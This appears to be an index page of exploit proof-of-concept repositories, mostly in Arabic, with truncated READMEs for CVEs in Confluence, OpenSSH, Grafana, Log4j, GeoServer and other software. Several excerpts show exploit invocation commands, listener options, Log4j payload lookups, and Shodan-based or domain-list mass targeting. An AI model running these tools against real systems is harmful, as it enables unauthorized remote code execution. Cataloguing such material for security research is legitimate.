CVE-2022-26134

CVE-2021-46422 RCE التثبيت git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt ضع CVE-2021-46422 RCE.py في دليل pocs داخل pocsuite3\pocs cd pocs استخدام pocsuite3 رابط واحد: pocsuite -r CVE-2021-46422 RCE.py -u url روابط متعددة:...

CVE-2019-11043

CVE-2019-11043 أداة استغلال Python لـ CVE-2019-11043 You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043 الاستخدام： python3 main.py -u http://iptopage/index.php إذا نجحت، سترى: Base status code is 200 qsl:1760 with status code 502 The target maybe...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

cve-2024-6387-poc

cve-2024-6387-poc شرط سباق في معالج الإشارات في خادم OpenSSH sshd 7etsuo وصف استغلال لـ CVE-2024-6387، يستهدف شرط سباق في معالج الإشارات في خادم OpenSSH sshd على أنظمة لينكس القائمة على glibc. تتيح الثغرة تنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر بسبب استدعاء دوال غير آمنة للإشارات غير المتزامن...

CVE-2025-50286

Grav CMS الإصدار 1.7.48 / الإضافة الإدارية الإصدار 1.10.48 - تنفيذ أوامر عن بُعد مصادق عليه عبر رفع الإضافة CVE-2025-50286 Grav CMS الإصدار 1.7.48 مع الإضافة الإدارية الإصدار 1.10.48 معرضة لـ تنفيذ الأوامر عن بُعد RCE عبر ميزة رفع الإضافات "التثبيت المباشر"، مما يسمح للمسؤولين المصادق عليهم بتنفي...

CVE-2024-9264

CVE-2024-9264 استغلال RCE مُوثَّق في Grafana v11.0 عبر SQL Expressions - استغلال PoC CVE-2024-9264 - Grafana v11.0 تنفيذ الأكواد عن بُعد معتمد الهوية RCE PoC مقدمة CVE-2024-9264 هو ثغرة حرجة من نوع تنفيذ الأكواد عن بُعد وتضمين الملفات المحلية، أُدخلت في ميزة "SQL Expressions" التجريبية في Grafana...

CVE-2022-26809

وصف CVE CVE-2022-26809 - ثغرة في مكوّن أساسي في ويندوز RPC حصلت على درجة 9.8 على مقياس CVSS وليس من دون سبب، إذ أن الهجوم لا يتطلب مصادقة ويمكن تنفيذه عن بُعد عبر الشبكة، ويمكن أن يؤدي إلى تنفيذ تعليمات برمجية عن بُعد RCE بصلاحيات خدمة RPC، والتي تعتمد على العملية التي تستضيف بيئة تشغيل RPC. تلك...

CVE-2022-26134

CVE-2022-26134 1. قم أولاً بتشغيل سكربتات shodan لجلب جميع عناوين IP python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt ex: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. لجميع عناوين IP الصالحة: cat log.txt |...

CVE-2024-41651

استغلال SSRF أعمى إلى RCE - PrestaShop 8.1.7 يوضح هذا المستند استغلال SSRF أعمى إلى RCE على تثبيت Docker نظيف لـ PrestaShop 8.1.7. المتطلبات الأساسية تأكد من تثبيت وحدة قديمة واحدة على الأقل، على سبيل المثال: psfacetedsearch قم بتنزيل الحزمة الأصلية: تنزيل psfacetedsearch v3.16.1 خطوات إعادة...

distccd_rce_CVE-2004-2687

distccdrceCVE-2004-2687 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2004-2687 ️⃣ الترقية إلى Python3 نظرة عامة يحتوي هذا المستودع على إثبات المفهوم PoC لاستغلال الثغرة الأمنية في distccd والمعروفة باسم CVE-2004-2687. توجد الثغرة في البرنامج الخفي distccd، وهو جزء من نظام الترجمة الموزعة distcc للغات C/C++. عند تكوينه...

CVE-2025-47577

CVE-2025-47577 - WordPress TI WooCommerce Wishlist 💾 يحفظ روابط الصور المرفوعة الصالحة في result.txt 💾 يحفظ روابط القوائم الصالحة في resultwishlist.txt 🧠 الباحث المصدر: قاعدة بيانات Patchstack 🚀 الاستخدام 1. جهز ملف list.txt مع قائمة بالنطاقات المستهدفة سطر واحد لكل نطاق، بدون http. 2. ضع الملف...

CVE-2023-22527

CVE-2023-22527 - ثغرة RCE تنفيذ التعليمات البرمجية عن بُعد في Confluence Data Center و Confluence Server إثبات المفهوم الاكتشاف nuclei -v -t /path/to/template.yam; -u http://ip:port/ الاستغلال python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 طريقة التشغيل؟ php log4j.php https://1337.com المتطلبات PHP CURL PAYLOAD DNS LOG Collaborator Burpsuite أو استخدم dnslog.cn قائمة الحمولات Payload $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName...

CVE-2020-11890

صنع بواسطة HK CVE-2020-11890: التحقق غير الصحيح من المدخلات في فئة جدول مجموعة المستخدمين قد يؤدي إلى تكوين ACL مكسور إلى RCE الرابط https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html PoC الإصدار المتأثر: Joomla core قبل...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner أداة سريعة بلغة C لفحص CVE-2020-0688 على مضيفين متعددين بطريقة غير تدخلية. الميزات مسح المضيفين من ملف إدخال. فحص سلبي: استخراج إصدار Exchange من خلال فحص محتوى HTML. إنتاج ملف مخرجات. عرض توضيحي كيفية الاستخدام المتطلبات الأساسية ويندوز .NET framework 4.5.2 التحميل git clon...

CVE-2024-36401_Geoserver_RCE_POC

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط، ولا يجوز استخدامها لأغراض غير قانونية. يتحمل المستخدم المسؤولية القانونية الكاملة. إصدار README: English | 中文 وصف الثغرة هذا النص البرمجي هو أداة كشف PoC لثغرة تنفيذ الأوامر عن بُعد CVE-2024-36401 في GeoServer. تسمح هذه الثغر...

CVE-2024-9264

🚨 CVE-2024-9264 - حقن SQL في Grafana يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد RCE وقراءة الملفات أداة استغلال لثغرة CVE-2024-9264، وهي ثغرة حرجة في Grafana تسمح للمهاجم المُصادَق بتنفيذ استعلام SQL يؤدي إلى RCE 🛡️ هذه الأداة مخصّصة لأغراض تعليمية واختبار الاختراق المصرّح به فقط. الاستخدام غير...

CVE-2022-26134

CVE-2022-26134 حقن تعبير OGNL في Confluence يؤدي إلى RCECVE-2022-26134 برهان المفهوم والاستغلال تحديث إضافة تجاوز الصندوق الرملي sandbox bypass، ودعم الإصدارات العالية. الاستخدام Usage: python Confluencecve202226134RCE.py http://example.com/ سيتحقق السكريبت تلقائياً من وجود الثغرة في الهدف، وسيدخ...

ActiveMQ_CVE-2015-5254

إلغاء تسلسل ActiveMQ CVE-2015-5254 وصف الثغرة: توجد ثغرة أمنية في الإصدارات 5.x من Apache ActiveMQ قبل الإصدار 5.13.0، وتنبع هذه الثغرة من عدم قيام البرنامج بتقييد الفئات التي يمكن تسلسلها في الوسيط broker. يمكن للمهاجم عن بُعد استغلال هذه الثغرة لتنفيذ تعليمات برمجية عشوائية باستخدام كائنات Java...

CVE-2026-94545-nextjs-og-poc

CVE-2026-94545 - حقن SVG في next/og ImageResponse الخاص بـ Next.js GHSA-vcvr-r3jv-pc5j مادة بحث أمني لإعادة إنتاج والتحقق من CVE-2026-94545 ، حقن تسلسل SVG في ImageResponse الخاص بـ Next.js المنبع: Satori GHSA-wx4j-mvgx-mqwp، في مختبر معزول يعمل على loopback فقط. المتأثر: Next.js =16.2.0 يتحكم...